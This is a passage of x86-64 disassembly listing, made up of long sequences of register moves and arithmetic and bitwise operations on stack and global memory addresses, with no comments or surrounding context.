mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4434], eax
mov rax, qword [rsp + 0xc330]
movzx eax, word [rax]
mov word [rsp + 0x1440], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x299]
sub eax, ecx
mov rcx, qword [rsp + 0xb060]
mov byte [rcx], al
mov eax, dword [rsp + 0x4b60]
mov ecx, dword [rsp + 0x475c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d58], eax
mov eax, dword [rsp + 0x4964]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0xc028]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4bfc], eax
mov rax, qword [rsp + 0xbb50]
mov eax, dword [rax]
mov dword [0x14019e028], eax
lea rax, [0x14019d7b4]
mov qword [rsp + 0xd4b0], rax
movzx eax, word [rsp + 0xfe4]
mov rcx, qword [rsp + 0xcec0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc540]
mov word [rcx], ax
movsx eax, word [rsp + 0x1194]
movsx ecx, word [rsp + 0xa94]
add eax, ecx
mov rcx, qword [rsp + 0xa6b0]
mov word [rcx], ax
lea rax, [rsp + 0x221]
mov qword [rsp + 0xd4b8], rax
mov rax, qword [rsp + 0xc0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabe0]
mov dword [rcx], eax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0xd4c0], rax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [0x14019bf82]
sub eax, ecx
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0xa9f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1008]
or eax, ecx
mov word [rsp + 0x123c], ax
mov rax, qword [rsp + 0xc1d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd0d8]
mov qword [rsp + 0xd4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4c8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019bf48], eax
mov rax, qword [0x14019d998]
mov eax, dword [rax]
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0xc108]
mov rcx, qword [rsp + 0xa6f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4370], eax
mov eax, dword [rsp + 0x4bd4]
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0xcc20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x250]
sar eax, cl
mov rcx, qword [rsp + 0xc0e8]
mov byte [rcx], al
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0xd4d0], rax
mov rax, qword [rsp + 0xba40]
mov ecx, dword [rsp + 0x3578]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4740], eax
mov rax, qword [rsp + 0xce40]
mov eax, dword [rax]
mov ecx, dword [0x14019db58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd1b0]
mov dword [rcx], eax
lea rax, [rsp + 0x48a0]
mov qword [rsp + 0xd4d8], rax
lea rax, [rsp + 0x465c]
mov qword [0x14019e030], rax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xcc60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d74], eax
mov rax, qword [rsp + 0xc2f8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ad], al
movsx eax, word [rsp + 0x13b8]
movsx ecx, word [rsp + 0xe88]
add eax, ecx
mov word [rsp + 0x1190], ax
mov rax, qword [rsp + 0xc910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1000]
sub eax, ecx
mov rcx, qword [rsp + 0xd450]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0x2ae], al
mov eax, dword [rsp + 0x4238]
mov ecx, dword [rsp + 0x48c8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a58], eax
lea rax, [0x14019df80]
mov qword [rsp + 0xd4e0], rax
movzx eax, byte [rsp + 0x1f1]
movzx ecx, byte [rsp + 0x28a]
sub eax, ecx
mov rcx, qword [rsp + 0xb428]
mov byte [rcx], al
movzx eax, word [rsp + 0x107c]
mov rcx, qword [rsp + 0xac40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c0e8], ax
mov rax, qword [rsp + 0xc180]
mov rcx, qword [rsp + 0xc158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0xb838]
mov eax, dword [rax]
mov dword [rsp + 0x4e90], eax
mov eax, dword [rsp + 0x459c]
mov ecx, dword [rsp + 0x4680]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa998]
mov dword [rcx], eax
lea rax, [rsp + 0x4a08]
mov qword [rsp + 0xd4e8], rax
mov rax, qword [rsp + 0xce18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x260]
shl eax, cl
mov rcx, qword [rsp + 0xb568]
mov byte [rcx], al
movzx eax, word [rsp + 0xfa8]
movzx ecx, word [rsp + 0x11d0]
or eax, ecx
mov word [rsp + 0x10a4], ax
lea rax, [rsp + 0x4848]
mov qword [rsp + 0xd4f0], rax
mov rax, qword [rsp + 0xc4f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4598]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x48ec], eax
movsx eax, byte [rsp + 0x1ec]
movsx ecx, byte [0x14019bf9f]
sar eax, cl
mov rcx, qword [0x14019dc30]
mov byte [rcx], al
mov rax, qword [rsp + 0xb6b8]
movzx eax, word [rax]
mov word [rsp + 0x1444], ax
mov rax, qword [rsp + 0xc450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaee8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x261], al
movzx eax, word [rsp + 0x1044]
movzx ecx, word [rsp + 0x1098]
add eax, ecx
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0xb1d8]
mov rcx, qword [rsp + 0xc260]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb218]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc708]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a58], eax
mov eax, dword [rsp + 0x4a24]
mov dword [rsp + 0x4e94], eax
mov eax, dword [rsp + 0x48cc]
mov ecx, dword [rsp + 0x3444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e4], eax
mov eax, dword [rsp + 0x45ec]
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0xb4d0]
movzx eax, word [rax]
movzx ecx, word [0x14019de30]
sub eax, ecx
mov word [rsp + 0x13bc], ax
lea rax, [rsp + 0x15c]
mov qword [0x14019e038], rax
mov eax, dword [rsp + 0x43b4]
mov ecx, dword [rsp + 0x4ca8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc310]
mov dword [rcx], eax
lea rax, str.Po.b
mov qword [rsp + 0xd4f8], rax
mov rax, qword [rsp + 0xcf60]
mov rcx, qword [rsp + 0xb108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa7b8]
mov dword [rcx], eax
lea rax, [rsp + 0x39c4]
mov qword [rsp + 0xd500], rax
mov rax, qword [rsp + 0xaa28]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bfd2]
sub eax, ecx
mov rcx, qword [rsp + 0xbd00]
mov byte [rcx], al
movzx eax, word [rsp + 0x11e0]
movzx ecx, word [rsp + 0x114c]
sub eax, ecx
mov rcx, qword [rsp + 0xa828]
mov word [rcx], ax
lea rax, [rsp + 0xfa0]
mov qword [rsp + 0xd508], rax
movsx eax, byte [rsp + 0x1e4]
mov rcx, qword [0x14019dba0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaa20]
mov byte [rcx], al
mov rax, qword [rsp + 0xc220]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44cc]
shl eax, cl
mov dword [0x14019bf88], eax
mov rax, qword [rsp + 0xb5e8]
mov eax, dword [rax]
mov dword [rsp + 0x4e9c], eax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x241]
or eax, ecx
mov byte [rsp + 0x1ed], al
lea rax, [rsp + 0x1080]
mov qword [rsp + 0xd510], rax
mov eax, dword [rsp + 0x41e4]
mov rcx, qword [rsp + 0xbc78]
mov qword [rsp + 0xd518], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd518]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4868], eax
mov rax, qword [0x14019de80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4430]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4918], eax
lea rax, [rsp + 0x4b8c]
mov qword [rsp + 0xd520], rax
mov eax, dword [rsp + 0x4630]
mov ecx, dword [rsp + 0x47d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc348]
mov dword [rcx], eax
lea rax, [0x14019bf3a]
mov qword [rsp + 0xd528], rax
movzx eax, word [rsp + 0x118c]
movzx ecx, word [rsp + 0x13a0]
add eax, ecx
mov word [0x14019c0ec], ax
mov eax, dword [rsp + 0x4d88]
mov ecx, dword [rsp + 0x444c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d38], eax
mov rax, qword [0x14019dc40]
mov ecx, dword [rsp + 0x42e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc600]
mov dword [rcx], eax
lea rax, [rsp + 0x46dc]
mov qword [rsp + 0xd530], rax
mov rax, qword [rsp + 0xd2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41f4], eax
mov eax, dword [rsp + 0x4ca4]
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0xa630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc010]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa860]
mov word [rcx], ax
mov rax, qword [rsp + 0xb018]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc840]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd388]
mov byte [rcx], al
mov rax, qword [rsp + 0xc148]
movzx eax, word [rax]
mov word [rsp + 0x1448], ax
mov rax, qword [rsp + 0xca48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x204]
add eax, ecx
mov rcx, qword [0x14019dec0]
mov byte [rcx], al
mov eax, dword [rsp + 0x41e0]
movzx ecx, al
mov eax, dword [rsp + 0x4230]
shr eax, cl
mov dword [rsp + 0x4424], eax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov dword [rsp + 0x4ea4], eax
mov rax, qword [rsp + 0xcce0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e7]
xor eax, ecx
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0xb860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13c8]
or eax, ecx
mov word [rsp + 0x1000], ax
mov eax, dword [rsp + 0x49a4]
mov dword [rsp + 0x4ea8], eax
mov eax, dword [rsp + 0x4dd8]
movzx ecx, al
mov eax, dword [rsp + 0x4468]
shl eax, cl
mov rcx, qword [rsp + 0xccf0]
mov dword [rcx], eax
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0xd538], rax
mov eax, dword [rsp + 0x4d50]
mov ecx, dword [0x14019d920]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc938]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1118]
and eax, ecx
mov word [0x14019bef0], ax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
mov byte [rsp + 0x2af], al
mov rax, qword [rsp + 0xcb88]
mov eax, dword [rax]
mov ecx, dword [0x14019de58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb250]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd28]
mov rcx, qword [rsp + 0xb038]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x468c], eax
mov rax, qword [0x14019dc10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa5], al
movsx eax, word [rsp + 0x1034]
movsx ecx, word [rsp + 0x13b8]
add eax, ecx
mov rcx, qword [rsp + 0xa928]
mov word [rcx], ax
mov rax, qword [rsp + 0xd2b8]
movzx eax, word [rax]
mov word [rsp + 0x144c], ax
mov rax, qword [0x14019dea8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1cf], al
mov rax, qword [rsp + 0xb2f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa988]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf70]
mov eax, dword [rax]
mov dword [0x14019e040], eax
mov eax, dword [0x14019daec]
mov dword [rsp + 0x4eac], eax
mov eax, dword [rsp + 0x4244]
mov ecx, dword [rsp + 0x41ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c0], eax
lea rax, [rsp + 0x4c64]
mov qword [rsp + 0xd540], rax
mov rax, qword [rsp + 0xb9a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc2a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc688]
mov byte [rcx], al
mov rax, qword [rsp + 0xd068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13c8]
sar eax, cl
mov word [rsp + 0x120c], ax
mov eax, dword [rsp + 0x36f0]
mov dword [rsp + 0x4eb0], eax
mov rax, qword [0x14019dce8]
mov ecx, dword [rsp + 0x45f0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb8c8]
mov dword [rcx], eax
lea rax, [rsp + 0x4e9c]
mov qword [rsp + 0xd548], rax
lea rax, [rsp + 0x4804]
mov qword [0x14019e048], rax
movzx eax, byte [rsp + 0x1e8]
movzx ecx, byte [0x14019bf0f]
or eax, ecx
mov byte [rsp + 0x167], al
movzx eax, word [rsp + 0x1368]
movzx ecx, word [rsp + 0x1434]
shl eax, cl
mov word [rsp + 0xef8], ax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0xd550], rax
movsx eax, word [rsp + 0x1104]
movsx ecx, word [0x14019db80]
sub eax, ecx
mov word [rsp + 0x1358], ax
mov rax, qword [rsp + 0xc310]
mov eax, dword [rax]
mov dword [rsp + 0x4eb4], eax
mov rax, qword [rsp + 0xb728]
mov ecx, dword [rsp + 0x4824]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb8d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaee8]
movzx eax, byte [rax]
mov byte [rsp + 0x2b0], al
mov rax, qword [0x14019dbb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6d0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbf40]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1c8]
mov rcx, qword [rsp + 0xc008]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019da38], eax
mov rax, qword [rsp + 0xc6f8]
mov rcx, qword [rsp + 0xcf40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc460]
mov eax, dword [rax]
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xc678]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x346c], eax
lea rax, [0x14019de20]
mov qword [rsp + 0xd558], rax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0x18a]
sub eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0xcbf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4944]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb770]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba60]
mov eax, dword [rax]
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0xb1d8]
mov ecx, dword [rsp + 0x45ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce40]
mov ecx, dword [rsp + 0x4c90]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bfe8], eax
mov rax, qword [0x14019dff0]
mov eax, dword [rax]
mov dword [rsp + 0x4ec0], eax
movsx eax, byte [rsp + 0x269]
movsx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0xc4d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb0a0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc010]
mov word [rcx], ax
mov rax, qword [rsp + 0xd218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc468]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x10b], al
movzx eax, word [rsp + 0x1394]
mov rcx, qword [rsp + 0xc530]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xab10]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd28]
mov eax, dword [rax]
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0xc510]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd3d8]
mov qword [rsp + 0xd560], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd560]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3f98], eax
movzx eax, byte [rsp + 0x29f]
mov byte [rsp + 0x2b1], al
lea rax, [rsp + 0x1154]
mov qword [0x14019e050], rax
mov eax, dword [rsp + 0x4c54]
mov ecx, dword [rsp + 0x48a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4668], eax
mov rax, qword [rsp + 0xd538]
mov rcx, qword [rsp + 0xa8d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x453c], eax
mov eax, dword [rsp + 0x4e48]
mov dword [rsp + 0x4ec8], eax
mov eax, dword [rsp + 0x49d4]
mov ecx, dword [rsp + 0x486c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1214]
mov word [rsp + 0x1450], ax
movzx eax, byte [rsp + 0x253]
mov rcx, qword [rsp + 0xb258]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0xb230]
mov eax, dword [rax]
mov ecx, dword [0x14019bf60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49b4], eax
mov eax, dword [rsp + 0x4e58]
mov dword [rsp + 0x4ecc], eax
movsx eax, byte [rsp + 0x211]
mov rcx, qword [0x14019df70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bfa6], al
mov rax, qword [rsp + 0xc140]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13a4], ax
lea rax, [rsp + 0x1418]
mov qword [rsp + 0xd568], rax
movzx eax, byte [rsp + 0x289]
movzx ecx, byte [rsp + 0x27a]
sub eax, ecx
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0xc768]
mov ecx, dword [rsp + 0x4a4c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbc80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc130]
mov eax, dword [rax]
mov dword [rsp + 0x4ed0], eax
mov rax, qword [0x14019dd20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa7a0]
mov qword [rsp + 0xd570], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd570]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4b9c], eax
lea rax, [rsp + 0x415c]
mov qword [rsp + 0xd578], rax
mov eax, dword [rsp + 0x470c]
mov rcx, qword [rsp + 0xca50]
mov qword [rsp + 0xd580], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd580]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x41cc], eax
mov rax, qword [rsp + 0xa9a0]
movzx eax, byte [rax]
mov rcx, qword [0x14019dfa8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0xa730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc8b0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019c0f0], ax
lea rax, [rsp + 0x4604]
mov qword [rsp + 0xd588], rax
mov rax, qword [0x14019dd60]
mov ecx, dword [rsp + 0x4874]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d74], eax
mov eax, dword [rsp + 0x4d6c]
mov dword [rsp + 0x4ed4], eax
mov rax, qword [rsp + 0xcf58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4230]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cb4], eax
movzx eax, word [rsp + 0x1428]
mov word [rsp + 0x1454], ax
movzx eax, byte [rsp + 0x1e3]
movzx ecx, byte [rsp + 0x284]
add eax, ecx
mov byte [rsp + 0x26a], al
movsx eax, word [rsp + 0x10ac]
mov rcx, qword [rsp + 0xa6d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1144], ax
mov rax, qword [0x14019dc30]
movzx eax, byte [rax]
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xcea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x491c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d9e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd130]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ccc], eax
movzx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xae68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0xc800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb568]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xca18]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0e8]
mov ecx, dword [rsp + 0x4aac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4940], eax
mov eax, dword [rsp + 0x4a60]
mov dword [rsp + 0x4ed8], eax
mov rax, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0xb688]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd300]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4600]
mov dword [rsp + 0x4edc], eax
movzx eax, word [rsp + 0x1254]
movzx ecx, word [rsp + 0x114c]
sar eax, cl
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x246]
shl eax, cl
mov byte [0x14019bfd7], al
mov rax, qword [rsp + 0xc088]
mov eax, dword [rax]
mov ecx, dword [0x14019c094]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4070], eax
mov rax, qword [rsp + 0xb530]
mov eax, dword [rax]
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x46d0], eax
lea rax, [0x14019dfd0]
mov qword [rsp + 0xd590], rax
mov rax, qword [rsp + 0xcae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4810]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcbe0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1088]
mov word [rsp + 0x1458], ax
mov rax, qword [0x14019df70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0xb460]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd0e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x297]
movzx ecx, byte [rsp + 0x151]
add eax, ecx
mov byte [0x14019bf82], al
lea rax, [rsp + 0x450c]
mov qword [rsp + 0xd598], rax
mov rax, qword [rsp + 0xa5f0]
mov ecx, dword [rsp + 0x3c7c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb5f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb650]
movzx eax, byte [rax]
mov byte [rsp + 0x2b3], al
mov rax, qword [0x14019d9d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb418]
mov word [rcx], ax
mov eax, dword [rsp + 0x4488]
mov ecx, dword [rsp + 0x474c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec8], eax
mov rax, qword [rsp + 0xb7b0]
mov eax, dword [rax]
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0xc9a0]
mov ecx, dword [rsp + 0x478c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd288]
mov eax, dword [rax]
mov dword [rsp + 0x4ee8], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov word [0x14019e058], ax
movzx eax, byte [rsp + 0x1a2]
movzx ecx, byte [rsp + 0x16b]
sub eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0xc260]
mov rcx, qword [rsp + 0xaf08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xcbf0]
mov eax, dword [rax]
mov dword [rsp + 0x4eec], eax
movsx eax, byte [rsp + 0x262]
movsx ecx, byte [rsp + 0x274]
xor eax, ecx
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0xce98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb0f8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe8c], ax
mov rax, qword [rsp + 0xaf58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb478]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xef8], ax
movzx eax, byte [rsp + 0x22b]
movzx ecx, byte [rsp + 0x19c]
sar eax, cl
mov byte [rsp + 0x24c], al
mov eax, dword [rsp + 0x422c]
mov dword [rsp + 0x4ef0], eax
lea rax, [rsp + 0x4d44]
mov qword [0x14019e060], rax
mov rax, qword [0x14019deb8]
mov rcx, qword [rsp + 0xadc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaf90]
mov dword [rcx], eax
lea rax, [rsp + 0x45b8]
mov qword [rsp + 0xd5a0], rax
mov eax, dword [rsp + 0x4498]
mov ecx, dword [rsp + 0x4738]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd2c0]
mov dword [rcx], eax
lea rax, [rsp + 0x247]
mov qword [rsp + 0xd5a8], rax
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1174], ax
mov eax, dword [0x14019c044]
mov ecx, dword [rsp + 0x47d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d70], eax
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0xd5b0], rax
mov rax, qword [rsp + 0xd210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0xc7b0]
mov rcx, qword [0x14019ddb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d9a0]
mov dword [rcx], eax
lea rax, [rsp + 0x13ac]
mov qword [rsp + 0xd5b8], rax
movzx eax, byte [rsp + 0x26d]
movzx ecx, byte [rsp + 0x21c]
sub eax, ecx
mov rcx, qword [rsp + 0xc468]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movsx eax, byte [rax]
mov rcx, qword [0x14019d950]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14d], al
mov rax, qword [rsp + 0xb138]
movzx eax, word [rax]
mov word [rsp + 0x145c], ax
mov rax, qword [rsp + 0xa728]
mov ecx, dword [rsp + 0x3df8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e24], eax
lea rax, [rsp + 0x4630]
mov qword [rsp + 0xd5c0], rax
mov rax, qword [0x14019e038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, byte [rcx]
